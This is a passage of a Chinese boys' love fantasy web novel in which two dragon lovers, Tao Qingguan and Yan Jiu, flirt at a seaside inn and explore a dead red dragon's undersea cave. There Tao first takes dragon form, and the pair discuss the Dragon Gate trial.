腰带松散开,陶清观手指下滑,戳了戳宴氿的胸膛,对方的衬衫被海水打湿,黏在身上隐隐透着肉色,他顺势捏了两下,语气暧昧,“你说,我们这算不算鸳鸯浴。” 宴氿喉结滚动,他抬手盖住陶清观的双眸,嗓音沙哑,“别招惹我了。” 陶清观拉下宴氿的手,放在唇边啾了一下,他眼底闪烁着笑意,挑起宴氿散落的发丝,一圈圈绕起。 他知道宴氿肯定不会答应,故意挑逗对方,“有什么关系,这里又不会有人来。” 宴氿身子紧绷,横在陶清观腰间的手臂青筋突起,他瞥见陶清观眼底的戏谑之色,心底涌动的暗潮愈发波涛汹涌。 他扣住陶清观的后脑勺,仰头堵那微张的唇瓣,宴氿压着陶清观翻了个身,向浅海底部掠去。 陶清观一惊,但宴氿的手臂跟铁似的,他根本推不开,细小的泡泡从唇缝间漏出,不过几秒,海面就离出三四米远。 雾草,他就口嗨两句,不至于给他毁尸灭迹吧。 “放松,你能呼吸。” 宴氿带着笑意的声音回响,陶清观眨了眨眼,试探着吸了口气,发现确实如此,但很快他就没心思考虑这些事了。 两手被固定在头顶,背后是柔软的沙子,流动的海水拂过身子,又痒又别扭,陶清观在海水中感受到熟悉的灵,是谁干的不言而喻。 海水无孔不入,陶清观不自觉扭动着身子,酥麻感直冲大脑皮层,溢出的泪花融入海水之中,陶清观承受不住,开口想要求饶,可宴氿根本不给他开口的机会。 圆润的脚趾蜷缩起,身体紧绷得像蓄势待发的弓弦,陶清观呼吸停滞了一瞬,紧接着他大口大口喘着粗气。 陶清观瞪向宴氿,湿润的眼眸中氤氲着恼意。 “狗东西。” 宴氿放开对海水的操控,他亲吻陶清观殷红的眼尾,嗓音低沉,把陶清观的话还回去,“没事,不会有人来。” 陶清观语噎。 他气鼓鼓地哼了一声,望着宴氿穿戴整齐的衣服,顿时更来气,陶清观抬脚踹向宴氿。 宴氿抓住陶清观的脚踝,将人拉入怀中横抱而起,向海面游去,感受到怀里的人不安分,宴氿轻拍陶清观的臀部,“还想再来一次?” 陶清观眯起眼眸,向下伸手捏了一把,听见宴氿的闷哼,他扯了下唇角,“憋不死你。” 宴氿低头碰了下陶清观的额头,“这也记仇?” 陶清观便偏过头不理会宴氿。 很快,他们回到沙滩,龙鳞化作的衣服沾水不湿,陶清观随手抖了两下就干净了。 至于宴氿,他干得比陶清观还快。 双脚落到实地,陶清观扭头就走,把宴氿甩在身后,脚步声在身后响起,陶清观头也不回。 “腰带松了。” 宴氿快步跟上,他揽住陶清观的腰,摸得十分顺手,就在他想给陶清观整理腰带时,怀里的人倏然变小,眨眼间变回小不点的模样。 陶清观两手叉腰,仰头望着宴氿,他昂着下巴,一副你能拿我怎么办的样子。 宴氿失笑,弯腰将人抱起,他掂了一下陶清观,笑道:“回去了。” 走到民宿门口,老板正坐在躺椅上纳凉,看到陶清观两人回来,他哟了一声。 “这身衣服不错。”老板坐起来,看着陶清观身上的衣服,毫不吝啬的夸赞,“看着就像大价钱买的。” 陶清观冲老板笑笑,他想聊两句,可宴氿抱着他走得飞快。 回到卧室,宴氿一手抱着陶清观,一手收拾衣服,收拾好后,他径直向浴室走去。 陶清观一愣,问道:“你洗澡带我干嘛?” 宴氿挑眉,“不是要洗鸳鸯浴?” 陶清观低头看看自己短小的身材,又抬头望望宴氿的表情,试图找出对方开玩笑的痕迹,但可惜他失败了。 不是吧,来真的? 陶清观用谴责的目光望着宴氿,瞧着人模狗样的,怎么能干出这种事。 宴氿脚步不停,他关上浴室的门,在陶清观的注视下,将浴缸里的水放满。 陶清观坐在小板凳上,悄咪咪打量宴氿,每次亲密,都是宴氿压着他,一番折腾后,他衣服脱光了,宴氿却没脱过几件,尤其是裤子,对方穿得比什么都严。 要是宴氿能脱光光,他也不是不能跟宴氿一起泡澡。 陶清观嘿嘿笑着,他眸光流转,走到宴氿身旁,拍了下对方的大腿,“你先进去,这浴缸应该能坐下我们两个。” 宴氿正试着水温,听到陶清观的话,他勾起唇角,转身将人抱起。 这时陶清观还没察觉到不对劲,等洗发精盖到头上,宴氿拿水涮他时,他才反应过来。 陶清观脑袋被宴氿控制在手下,他顶着一头绵密的泡沫,问道:“你不跟我一起洗?” “先帮你洗。”宴氿开口道:“你自己洗不方便。” 陶清观:“……” 宴氿三两下将陶清观洗好,穿好衣服后,他把香喷喷的陶清观放到床上,然后不带丝毫犹豫地转身离去,把浴室的门关得严严实实。 陶清观盯着浴室门,暗自磨牙。 狗东西,你给我等着。 陶清观感受了下自己的身体状态,变回成人,大概还能再坚持二十来分钟。 今天他就跟宴氿杠上了。 陶清观果断从床上跳下来,踩着拖鞋走到衣柜边,陶清观打开衣柜的门,下一秒就换成成人体型,他拿出柜子里的浴袍换上。 这么做当然是因为……洗完澡穿浴袍舒服。 陶清观深入了解了一下浴袍的构造,以及腰带的位置,他看见宴氿拿了身浴袍进去,对方出来肯定穿这个。 他蹑手蹑脚地走到浴室门边,仔细听着里面的水声,陶清观放轻呼吸,赤着双脚,浴袍松松垮垮地挂在身上,姿态惹人遐想。 待浴室里的水声停止,陶清观屏住呼吸。 布料摩擦的窸窣声传来,陶清观紧盯着门把手,待宴氿出来的那一刻,他以迅雷不及掩耳之势冲上去,拽住宴氿的腰带用力一扯。 风刃聚集而起,贴过宴氿的肌肤,将内裤那两片布料切断,衣服瞬间掉了一地。 陶清观抬眸瞥去,还没看清楚,眼前的宴氿忽然变回龙形态,缩小的白龙飘在半空,玻璃珠似的眼眸静静望着陶清观。 直觉大事不妙,陶清观扭头就跑,但宴氿更快一步,嗖一下把陶清观缠了个结实。 陶清观左脚绊右脚,啪唧倒到床上,他不服气,用仅能自由活动的右手,去薅宴氿的龙角根部。 他已得到大半传承,自然知道龙哪里最敏感,陶清观用力搓了一下。 宴氿身子一抖,他怕伤到陶清观,连忙将人送开,尾巴重重的甩到一旁。 陶清观露出得意的表情,可下一秒,他的表情就凝固在脸上,视线骤然变矮,耳边轰隆一声巨响。 床,塌了。 陶清观拎着龙角,坐在地上思考人生,他扭头与宴氿对视,赶紧将人放开,试图撇清关系,“你干的,不关我事。” 宴氿喷出一口鼻息,尾巴轻拍陶清观的小腿,就这么沉默不语。 陶清观败下阵来,投降道:“好吧,跟我是有那么一点点关系。” “但主要还是你的问题。”陶清观双手抱臂,下巴一昂,“你反思一下,我们都在一起多久了,你怎么还跟个黄花大闺女似的,我看一眼都不行。” “除了我,你还想给别人看不成?” 宴氿无语,能把这话说得这么理直气壮的,也就陶清观了。 他刚要开口,敲门声传来,紧接着是老板关切的声音。 “我听到好大一声响,没事吧?” 陶清观一秒变小,抛给宴氿一个无辜的眼神。 他就一五岁小孩,他能干什么坏事。 宴氿:“……” 老实接过烂摊子,宴氿稍微整理了一下,打开房间的门,他面不改色地说道:“我不小心把床坐塌了,多少钱,我赔给你。” “塌了!?” 老板震惊,这是支架打的床,他就没见过这种床能坐塌。 “啊……这、这,人没事就好,床不值钱。” 宴氿给老板扫了一万,开口道:“还麻烦你帮我们换个房间。” 拿到钱,老板脸上皱纹都笑出来了,连声道:“行行行,隔壁就能住,我帮你们收拾。” 于是大半夜,陶清观跟宴氿挪了个窝。 收拾好东西,送走老板,陶清观两手背在身后,语重心长地对宴氿道:“这次你可不能再把床睡塌咯。” “嗯?” 宴氿尾音上扬,看陶清观的目光不太友善。 陶清观后退一步,警惕地望着宴氿,说道:“这隔音不好,你可想清楚。” 宴氿啧了一声,“行了,过来睡觉。” 陶清观瞄了宴氿好几眼,确认对方不会动手,这才走过去。 折腾一天,陶清观也累了,开始他还提防宴氿动手,可没过多久,他就在宴氿怀里睡得四仰八叉。 宴氿为陶清观盖好被子,眼底似无奈又似宠溺。 “鬼灵精。” …… 陶清观是在海浪声中醒来,他坐起身就能看见蔚蓝的大海,空气中荡漾着淡淡的气味,陶清观形容不上来,就是觉得有点冲鼻。 传承告诉他,这股气味代表着动荡。 他眉心微蹙,望向坐在沙发上泡茶的宴氿,“有海啸?不对,没那么严重,但我感觉不太平。” “有台风路过。”宴氿肯定了陶清观的推测,“这边会受点影响。” 人员不会有伤亡,但财产多少会有损失。 陶清观走下床,趴到窗户边,那股气味愈发浓烈,他操控海中的灵,将风浪推远。 这是他长出龙角后,第一次大规模操控灵,原本就跟他关系不错的灵,这次更是有求必应,几乎没有卡顿,陶清观就改变了台风的走向。 他低头望着自己空荡荡的掌心,对龙的力量有了新的认知。 宴氿悠闲地喝茶,随陶清观折腾,只是适时提醒一句,“别用太多灵,不然一会儿该难受了。” 陶清观冷不丁地开口:“过龙门是不是很难?” 宴氿动作微不可查的一顿,“怎么忽然问这个。” “我能感觉到,传承基本融入我的身体,可关于龙门的信息,却是只字片语。”陶清观虽然用问句,却是肯定的语气,“小渡是故意瞒着我?” 第122章 第 122 章 宴氿:吾友总能护吾妻…… 宴氿放下手中的茶杯, 对上陶清观询问的视线,他没有糊弄,实话实说道:“有点难, 折在这上面的龙莫约有十来条, 不算多,但对于龙族来说, 也不算少。” 毕竟按照小渡的计算,加上陶清观,一共只有3488条龙。 陶清观蹙眉, “那我……” “有我在,没什么好担心的。”宴氿拿起另一个干净的茶杯,为陶清观斟茶,“别想那么多,过来喝茶, 是你喜欢的果茶。” 陶清观唇瓣微抿,还想说什么,小渡忽然从他身体里跑出来。 金色的小鱼围着陶清观转悠, 它晃着尾巴, 开口道:“没有故意瞒你,是你不需要这部分传承, 传承数量众多, 想全部记得太难,所以大部分只会在你需要的时候出现。” 小渡凑到陶清观脸颊边蹭了蹭, “你的情况本就是揠苗助长, 龙门会不会出现还两说。” 龙门现身也是对龙的认可,以陶清观的情况,小渡感觉难。 陶清观被小渡蹭得痒, 他伸手抱住小渡,撸了两下鱼尾巴,“那些没过得去龙门的龙,最后怎么样了?” “早夭。”小渡乖巧地窝在陶清观怀里,解释道:“过龙门是淬炼rou体的过程,若是过不去,单薄的□□将承受不住日益增长的灵,最后会被此拖累,早早夭亡。” “但你不太一样,你灵增长的速度本来就很慢,说不定没什么事。” 好一个负负得正,这算他太菜的福利么。 陶清观一时不知道该开心,还是该难过,他小脸微皱,神色一言难尽。 宴氿笑出声,他长臂一捞,将陶清观抱到自己腿上,他点了下陶清观的鼻尖,笑道:“脸都皱成苦瓜了。” 陶清观拍开宴氿的手,端起桌上的果茶,神情忿忿地撅了一口。” 宴氿勾唇,他斜靠着椅背,视线始终落在陶清观身上,瞥见短了一大截的裤腿,他目光一顿。 “长高不少。”宴氿握住陶清观裸露在外的脚踝,开口道:“吃完早饭,我们去海里。” 以陶清观现在的生长速度,无法在人群中久呆,一天长个五六厘米,除了瞎子,谁都能看出问题。 陶清观低头望去,眨了眨眼睛,他就说早上起来,怎么感觉衣服有点紧,原来是长高了。 他眼底亮起小星星,期待地望向宴氿,“你说,我会不会长得比以前高?” 宴氿高他一大截,他也不求跟宴氿一样高,但都是龙,大差不差总行吧。 这种情况,宴氿也是第一次遇见,他没打击陶清观的信心,模棱两可道:“嗯……有可能?” 陶清观眼睛更亮了,他一拍宴氿的小臂,问道:“你带的牛奶呢,给我整两杯。” 宴氿哂笑,“好。” 这次早饭,陶清观吃得前所未有的积极,试图七天速成一米九大高个。 吃饱喝足,宴氿抱着他,找了个没人的地方潜入海中。 甫一离开浅海,宴氿就变回龙形,托着陶清观在海中穿行,有宴氿特地护着,陶清观基本没感受到什么风浪,光顾着爽了。 “那是不是虎鲸?过去看看。”陶清观拍着宴氿的脑海,一脸兴奋,“你能不能听懂它们说话?” 宴氿:“能听懂一点。” 陶清观激动道:“它们在说什么?” 宴氿翻译,“‘我不好吃,别吃我’,还有‘那边的座头鲸好吃’。” 一瞬间,陶清观对眼前的黑白萌物的滤镜破碎了,他谴责地望向聚在一起的虎鲸们,瞧着浓眉大眼,小心思居然这么多。 小渡跟在陶清观身旁,它看了眼周围,开口道:“附近有个龙的藏宝窟,要不要去看看?” 陶清观的注意力瞬间被吸引,“走走走。” 他还没见过龙巢长什么样。 小渡给宴氿指路,三个不同物种的家伙一拍即合,直奔海底而去。 在宴氿有意过渡下,陶清观的身体逐渐适应大海,一直来到海底,陶清观也没什么不适感。 跃入藏宝窟内,周围的海水退去,带着尘土味的空气取而代之,洞内干燥整洁,镶嵌着荧光矿石,矿石光线柔和,瞧着温馨舒适。 双脚踩在地上时,陶清观还觉得不太真实,在海底居然有这样的地方。 宴氿变回人形,扫视四周,确认没有危险,他将陶清观放到地上,任由对方撒丫子跑。 感受到不一样的气息,宴氿眉尖上挑。 竟然是条赤龙。 龙族本性属水,但大部分龙还会有其他属性,一般水木土居多,像赤龙这种属火的,他都没见过几条。 水火冲突,赤龙出生时就比其他龙弱,也因此赤龙被逐渐淘汰,而且过不去龙门的,十条里面有六条是赤龙。 “里面是不是还有路?”陶清观兴致勃勃,拿着宴氿的手,“我们进去参观。” 他对宝藏兴趣不大,单纯是想参观。 宴氿跟上陶清观,看对方迈着小短腿爬坡,想把人抱起来,可见陶清观兴致高昂,他还是没有动手。 他在心底问小渡,“你跟这条龙很熟?” 这里哪是什么藏宝窟,分明是对方老巢,不是一般熟,龙可不会把窝的位置分享出去,毕竟藏宝地是藏一小部分,丢就丢了,而窝里可都是心肝宝贝。 小渡回答道:“他偶尔会来看龙崽。” 宴氿意外,龙族虽然护崽,可对幼崽却没那么喜欢,反正龙崽皮实,放着不管也养不死,更何况龙崽精力旺盛,闹起来实在磨龙,像赤龙这样频繁往小渡那跑的,实在少见。 “他龙还不错。”小渡卖了个关子,“等看到,你就知道了。” 宴氿闻言,没再追问,他牵着陶清观走上台阶,来到一扇巨大的石门前,那石门少说五六米高,陶清观头仰得身子都弯了,才勉强看到顶。 陶清观推推宴氿,“这门,你能推开吗?” 实力被质疑,宴氿当即走上前,他抬手覆上石门,脚下用力,咔嚓声响起,石门向后退去,让出一条供人通行的路。 陶清观啪啪鼓掌,捧场道:“真厉害。” 宴氿揉了下陶清观的脑袋,笑道:“不是想看,进去吧。” 陶清观点头,哒哒哒跑进去,映入眼帘的是一大桌精致的菜肴,琉璃杯中盛着美酒,碗筷整齐的摆放在一旁,似乎不久后这里就将举办一场盛宴。 就在这时,虚影在空中凝结,一条形态模糊的赤龙浮现在半空,洞窟内传来他爽朗的笑声。 “来者是客,能找到这也是缘分,这一桌好菜算是我请客。” “洞里的东西随便拿,但放在最里面的红宝石是我心头好,这个可得留给我。” 他话音落下,笼罩在餐桌上的结界消散,饭菜的香味四散开来,这桌菜肴仿佛刚出锅一般。 陶清观眼睛睁圆,拉了下宴氿的衣摆,问道:“真能吃?” 宴氿望着空中的虚影,心底划过一丝异样,听见陶清观的问题,他颔首,“停滞时间的结界,只能用在死物身上,想吃就吃点,正好还是热的。” 陶清观咂舌,这一桌用山珍海味来形容都保守了,一眼望去,他甚至说不出几道菜的名字。 抱着好奇的心态,陶清观爬到椅子上,拿起筷子尝了一口,鲜香的口感蔓延开来,他再次感叹洞窟主人的大手笔,他问宴氿,“他说的红宝石有什么特殊的吗?要是拿走会怎么样?” “不知道。”宴氿开口道:“但按照龙族睚眦必报的性格,这里大概会炸。” 陶清观一激灵,立即把尝试的想法赶出脑海。 宴氿站在一旁,静静地注视着陶清观吃东西,但仔细看,会发现他的目光有些飘忽。 赤龙的声音在脑海中响起,宴氿敛下眼眸。 “能发现第二道留言,你实力不俗,东西交给你,我也放心。” 宴氿不语,这只是赤龙死前留下的声音,声音再生动也无法交流。 “想必你也看出来,我是条赤龙,还是条实力一般的赤龙,不过我脑子可不差。” 说到这,赤龙的声音有些小得意,“我没过龙门,但我也寿终正寝,虽然活得没一般龙时间长,可我觉得我这一生挺潇洒的,不过小渡觉得我逃避龙门的方法没有收录的必要,我便放在这等待有缘龙了。” 赤龙长叹一声,吐槽道:“没眼光的家伙,活那么久有什么好的,我广交好友,把酒言欢,不必久眠打发无聊的时间,死前还能把好友聚一聚凑上一桌,只有他们送我的份,我可是一位好友都没送走。” 他再次唾弃小渡,“没品位。” “方法我交给你,怎么处理就是你的事了。”赤龙声音洒脱,他对自己的一生了无遗憾,“你我也算朋友,走前记得帮我把菜收拾了,我可不想我的洞里发臭。” 赤龙的声音一如他龙一样,来去风风火火,宴氿的脑海中留下一长串符文,望着空中逐渐消散虚影,他漆黑的眼眸中划过一丝暗色。 他在心底说道:“你早就知道了。” 小渡嗯了一声。 “怪不得。” 最紧张陶清观的小渡,却没表现出什么急切,原来是这么回事。 宴氿轻叹,心底思绪万千,“你说,死后真的会有另一个世界吗?” “不知道。”小渡声音没有一丝起伏,“我没见过。” 宴氿扯了下唇角,扬起一抹微浅的弧度,“也好,若是有另一方世界,我的那群老友想必也在。” 他眼眸中闪烁着柔和的色彩,深潭晕出一圈圈涟漪。 “吾友总能护吾妻周全。” 他也曾肆意行走于山河之间,看世间百态,把酒言欢,但浓艳的画卷也有褪色的那一天,彩墨淡去,他孑然而立。 可现在幅画卷又涂上温暖的色彩,宴氿莞尔,如今这般,也不错,比他预想的百年,好上太多,他又有什么好奢求的。 佳人还在身侧,何必庸人自扰。 “宴氿,来尝尝这个。”陶清观冲宴氿招手,“这个味道好奇怪。” 宴氿眉眼微弯,“来了。” 第123章 第 123 章 变成龙形 “怎么……嗯?” 嘴里被塞了一筷子食物, 宴氿下意识嚼了两下,口感软烂,味道是说不上来的奇怪, 他眉心蹙起, 说道:“像云兽的肉,味道虽然奇怪, 但是大补。” 陶清观举着筷子,忽然挑起另一个问题,“你有没有一起吃过香蕉和冬枣?” “没有。”两东西风牛马不相及, 宴氿就没见过它们摆到同一盘上。 陶清观嘿嘿一笑,凑到宴氿身旁,“据说这两个一起吃,味道跟吃shi……唔!” 宴氿反手捂住陶清观的嘴,阻止人继续说下去, 他掐了下陶清观的脸蛋,没好气道:“吃饭不许聊这个话题。” 陶清观:“嘁。” 宴氿抬手轻敲陶清观的脑袋,开口道:“尽量多吃, 对你身体有好处, 这里大部分食材现在已经寻不见了。” 陶清观闻言,摸了下自己微微突起的肚皮, “虽然我也想吃, 但我快吃不下了。” 宴氿瞥了一眼,信口捏来, “小孩的肚子本来就是圆的。” 陶清观抗议无效, 面前多出一大盘吃的,他咬着筷子尖,一脸犯难, 他知道宴氿是为他好,可他刚吃过早饭啊。 再好吃的东西,陶清观现在也有些食不知味,望着宴氿还往他碗里夹,陶清观嘴角微微抽搐,“你是想撑死我吗?” 宴氿开口道:“你现在是龙,正常龙崽的饭量是这个两倍,放心,吃下去不会有多撑。” 陶清观半信半疑,又吃了两口,发现确实还能吃,他苦着脸,默默往嘴里扒菜。 吃吃吃。 今天一米二,明天一米九! 全靠长高的信念,陶清观埋头苦吃。 而宴氿则在赤龙存放宝物的地方梭巡,他问陶清观:“都拿走吗?” 陶清观咽下口中的食物,短暂地思索了一会儿,“挑有用的拿吧。” 金银珠宝,光是小渡塞给他的,还有一大堆,宴氿之前给的那一箱又剩大半箱在家藏着,拿那么多也没用。 宴氿:“嗯。” 挑东西的眼光,陶清观是放心宴氿的,他继续吃菜,可吃到一半,脑海中突然出现一道声音。 “能听到这则留言,你大概率是条幼龙,毕竟只有幼龙能一次性吃下这么多幼崽辅食,那辅食的味道,真是一言难尽。” 赤龙的声音中充满嫌弃。 辅、辅食? 陶清观低头看了眼碗里的菜,原本就不香的菜,瞬间更不香了,他就说宴氿怎么没跟着他一起吃。 他小脸皱起,这龙主人不厚道,说好请吃饭,哪有请吃辅食的。 “既然是幼龙,我就多送你点东西。”赤龙大方道:“你跟传承报上我的名号,它会带你去寻我的藏宝窟。” 陶清观眼底泛起一丝同情,他亲爱的小渡早就把赤龙的老底都兜干净了。 赤龙的声音还在继续,兴致勃勃中,带着哄诱的意味,“你把我的红宝石拿了,那玩意对幼崽好处多多。” 陶清观吃饭的动作停下,宴氿刚跟他说过拿红宝石会有不良后果,现在赤龙又跑过来怂恿他拿宝石。 遇事不决…… “宴娇娇。” 听到陶清观的声音,宴氿踱步走近,“怎么了?” 陶清观把赤龙的话复述了一遍,他期待地问道:“你说我们要不要拿那块宝石。” 宴氿抬眸望去,红宝石被赤龙镶嵌在石壁高出,在荧光矿石的照耀下熠熠生辉,看大小,跟婴儿拳头差不多。 “试试。”宴氿对赤龙感官还行,既然是留给幼崽的,应该不会是什么危险的东西,“你去拿。” 赤龙特地让陶清观动手,肯定有他的道理。 陶清观撸起袖子,从椅子上跳下来,他仰起头,对宴氿道:“你在此处等我,我去去就来。” 宴氿:“……嗯。” 陶清观又补充一句,“回来请你吃橘子。” 宴氿:“?” 陶清观眼神慈祥,“乖。”乖儿子。 宴氿抬手弹了下陶清观的脑门,“我看起来像文盲吗?” 真当他不知道内涵了什么。 陶清观捂着脑门后退,他撇了撇嘴,反手操控灵飞上半空,直奔红宝石而去。 走近看,这块宝石愈发耀眼,陶清观上下打量一圈,挑了个合适的角度握住宝石,用力往外拔。 他本以为会很难拽出来,谁知道他刚用力,宝石就顺着他的力道飞出去,陶清观没把握好平衡,身子后仰,在空中翻了个圈。 宴氿看得眉心一紧,克制着没出手帮忙。 下一秒,宝石撞到陶清观身上,也不知宝石是哪来的力气,给陶清观撞得咕噜咕噜往后滚。 宴氿看不下去,一个箭步冲上去,伸手要接住陶清观,可那宝石跟有灵智似的,带着陶清观东躲西藏,他抓了个空。 陶清观感觉自己被扔进了滚筒洗衣机,脑浆都要摇匀了。 他甩甩脑袋,想甩开宝石,但宝石赖上了他,黏在他身上不下来。 宴氿闪身要追,小渡在这时出声制止。 “不用管,那是训练小龙狩猎本领的法器,狩猎的第一步,是化为龙形。” 比起人形态,显然拥有尖牙和利爪的龙形态更加适用,人形磕着碰着会受伤,但龙形有鳞片保护,能大大减轻受到的伤害。 宴氿听到这话,动作停下,可眼底仍有着担忧,“这宝石做了什么改动?” 小渡:“速度快了点,还有……折腾小龙的恶趣味,不过那家伙留了本源气息在里面,囡囡收下的话,应该会顺利化为龙形。” 本源这东西,一条龙就那么多,只有死亡时才能从身体里剥离,纵使血脉相连,也很少有龙会把本源留给自己的孩子,也就赤龙这家伙突发奇想,才折腾出这一出。 陶清观听不清宴氿和小渡的交谈,他刚吃饱的,这会儿要被摇吐了,他的前庭功能再好,也经不起三百六十度无死角的摇晃。 真没那么耐造。 他在心底把赤龙骂了个遍,他就知道对方那贼兮兮的语气肯定是不安好心。 陶清观尝试操控灵遏制宝石的行动,但他手里的这块宝石完全无视蜂拥而至的灵,甚至碰到灵还有加快的趋势。 他赶忙收起灵,宝石的速度这才慢下来,灵用不了,陶清观脑阔开始疼了,他现在的身体撑死六七岁,哪倔得过恨不得和飞上天,太阳肩并肩的宝石。 不过这宝石至少放了千八百年,不管以什么做燃料,都应该消耗了不少,只要燃料用光,就能停下。 陶清观环顾四周,眯起眼眸。 他两‘家长’都在,优势在他。 陶清观不再控制宝石的移动方向,反而故意往石壁上撞。 宴氿看得心头一紧,唇瓣绷成一条直线。 在要撞上石壁的那一刻,陶清观腕上的手链亮起,成功抵挡住撞墙的冲击。 玄北给的手链可是连爆炸都能挡下来,区区撞击,不足为惧。 于是陶清观在洞穴内开起碰碰车,四处撞得哐当哐当响,在一次次碰撞的消磨下,宝石的速度逐渐慢了下来。 陶清观找准时机,猛地将宝石叩到地上,哐的一声响,世界清净了。 “我……我艹!” 宝石不讲武德,停了没几秒,又滚出去,这次陶清观被带得在地上滚出老远,滚得还挺匀称,隔着点距离望去跟球一样,关键是陶清观的表情懵懵的,像和毛钱球一起滚出去的小猫。 宴氿默默将脸撇到一边,唇角抑制不住地上扬,他能感觉到本源的波动,宝石认同了陶清观的通关方法,他这是为陶清观高兴。 小渡更直接点:“圆溜溜的幼崽,真好玩。” 在确认陶清观不会受伤的前提下,小渡优哉地看热闹。 而另一边的陶清观滚着滚着,感觉身子一轻,他差点以为自己被甩到灵魂出窍,待他定睛一看,入眼是一只龙爪。 他一愣,尾巴跟着甩了两下,浅黛色的尾巴尖晃悠,陶清观瞳孔地震。 坏了,怕不是甩出幻觉了。 陶清观试探着蜷缩起尾巴,他略微思索,放到嘴角咬了一口,疼痛感传来,陶清观眼睛亮起,不是幻觉,他真的变成龙了。 “宴氿!”陶清观急于和宴氿分享,他仰起头,努力展现自己霸气的身姿,“帅不帅?威不威风?我是条浅绿色的龙诶。” 宴氿捧场,“帅。” 他走到陶清观面前,冲对方伸出手,“过来。” 望着眼前好大一只手,陶清观得意的表情凝固,他不信邪,把自己的一只爪子放上去,堪堪握住宴氿的一根手指。 陶清观本就圆润的眼眸瞪得更圆了,“你怎么这么大!?” 宴氿低咳一声,委婉地说道:“是你龙形有点小。” 听到这话,陶清观悬着的心还是死了,他仰头打量四周,所有的景物都放大了好几倍,陶清观沮丧地低下脑袋,嘴里嘟囔着: “为什么你那么长,我这么短,这差距也太大了,我还能长,对吧?” 这跟他想象中的龙形完全不同,堪比买家秀和卖家秀。 宴氿哂笑,安慰道:“会长的。” 他两手一拢,将陶清观捧在掌心中,陶清观现在不过拇指粗细,盘在一起,一只手都能搂过来,小小的爪子蜷缩在一起,新生的鳞片下隐隐透着肉色。 宴氿不自觉放轻力道,他把陶清观护在身前,“有没有哪里难受?” “没有。”陶清观摇头,他往宴氿手上一趴,晃着尾巴道:“龙形态好像耐造点,原本有点不舒服,但变成龙就没感觉了。” 陶清观忽然想起什么,昂起脑袋,“那菜呢,我再吃点。” 争取明天两米八。 宴氿一想再吃点也不错,抬脚正要往餐桌边走,此刻骤然轰隆一声巨响,碎石从头顶掉落,一条条裂缝爬上墙壁,灰尘飞扬而起。 小渡:“这要塌了,快出去。” 不用小渡说,宴氿也快步往外冲,不消片刻,这处洞窟就沉没与深海之中,涌动的暗流和漩涡将一切吞噬殆尽。 宴氿带着陶清观浮出水面,陶清观神情茫然,他蹭了下宴氿的脸颊,愣愣地问道:“我撞塌的?” “估计跟宝石有关。”宴氿顺势用食指捋过陶清观的后背,看到小龙抖抖身子,他眼底闪烁着笑意,“宝石不在,那处洞窟的结界会变脆弱。” 跟上来的小渡冷漠脸,“他活该。” 赤龙经常往它那跑,不过对方可不是去帮忙带幼崽的,相反,赤龙是觉得幼崽好玩,每次赤龙过去,总会有小龙被气到破防,然后就是一阵鸡飞狗跳,给它添了不少麻烦。 小渡了解对方的尿性,早就猜到赤龙留给幼崽的东西肯定有坑,囡囡也不能白被欺负,一处龙穴,毁就毁了。 “不用赔就好。” 陶清观缩爪爪,他不太适应龙形态,几只脚有种各走各的美感,他没动两下,就啪叽倒在宴氿手上。 堪称早期幼龙驯服肢体脚程。 小渡看得心痒痒,它游到陶清观身旁,紧贴陶清观。 这一下,陶清观emo了。 现在的他还没小渡大。 第124章 第 124 章 小渡:嘿嘿~小龙,可…… 小渡喜形于色, 他蹭了蹭陶清观的腹部,见陶清观没反应,又上去蹭了两下, 特地扩大蹭的范围。 陶清观感觉痒痒的, 又很舒服,本能驱使他扭了扭身子, 感觉哪里空落落的,像是缺了点东西。 这时,小渡又凑上来, 陶清观不自觉追随而去,尾巴缠上小渡,身子也跟着盘上去,直到脑袋搁在小渡背上,陶清观都没反应过来发生了什么。 小渡美滋滋地收获一条小龙, 带着陶清观嗖一下游出去。 宴氿一脸无语,一个闪身追上去,他拦住小渡, 拽住小渡的尾巴, 把陶清观拎回来,“别逗他。” 陶清观尾巴尖甩了甩, 下意识缠上宴氿的手指, 他左看看小渡,右看看宴氿, 弱弱出声, “龙都这个德行吗?” 见到个柱状的东西就想盘。 “等你长大点就好了。”宴氿指腹蹭了蹭陶清观的后背,问道:“龙身体的特点都记得吗?” 传承里包含这些,陶清观点了下头。 这方面的内容比较重要, 宴氿觉得实践一遍更好,他轻轻捏住陶清观的脑袋,将对方拎起来,平放在自己掌心上。 陶清观眨了眨眼睛,本着对宴氿的信任,他没有反抗。 宴氿按了按小龙接近白色的肚皮,开口道:“这一处最为脆弱,但收缩能力很强,缠上敌人时要注意对方身上锐利的地方。” 陶清观龙身一抖,痒痒的,紧接着宴氿又点了下他刚冒出来的龙角,酥麻感传遍全身,要不是宴氿摁着,陶清观差点扭成麻花。 “你的龙角还未长成,直到它不再敏感之前,不许用它撞击硬物。”宴氿食指抵住陶清观的吻部,他稍稍用力,撬开陶清观的嘴,指腹按压在冒尖的犬齿上。 “龙的咬合力中规中矩,能刺破绝大数猎物的表皮,尽量挑颈脖咬,别处不一定能一击致命。” 陶清观被迫张着嘴,感觉口水快溜出去了,他想吸溜一下,结果没控制好,一口咬住了宴氿的手指。 宴氿挑眉,指尖稍微用了点力,压住陶清观的舌头。 陶清观:yue。 他吐着舌头,瞪向宴氿。 宴氿手指上印着半个牙印,他好整以暇地望着陶清观,抬手挠了挠对方的腹部,惹得陶清观七扭八扭,“龙的消化功能很强大,不过也不要什么都往嘴里塞。” “是你先把手指塞在我嘴里的。”陶清观当着宴氿的面呸了两声,他尾巴一甩,摇摇晃晃地游向小渡,准备抛弃宴氿。 可刚起步,他就直线坠机,跟块石头似的往下滚。 陶清观尾巴甩到飞起,也没能停下,好在宴氿适时拖住他,被接住的陶清观面无表情。 讲个笑话,龙不会游泳。 他当人的时候都会游! 宴氿忍着笑意,安慰道:“多练练身体就平衡了,实在不行,用灵托着自己游。” 陶清观哼了一声,不理会宴氿,但身体却很诚实缠住宴氿的手,他尾巴尖搭在宴氿手腕处,脑袋卡在拇指与食指之间。 甭管宴氿别不别扭,反正他盘舒服了。 陶清观用尾巴拍拍宴氿的手腕,开口道:“我变成龙形,是不是该去找龙门了。” “嗯。”宴氿心底有一丝遗憾,龙族的痕迹消失大半,族地都快没了,结果龙门还在岗位坚守。 在感受到龙门的气息之前,他心存侥幸,以为陶清观能不走这一遭。 唉,也罢。 宴氿垂眸对小龙对视,让不过拇指粗的小家伙去闯龙门,他实在狠不下心。 “但你不用过龙门。”宴氿托起陶清观,指腹抚过陶清观的脑袋,他的动作很轻很轻。 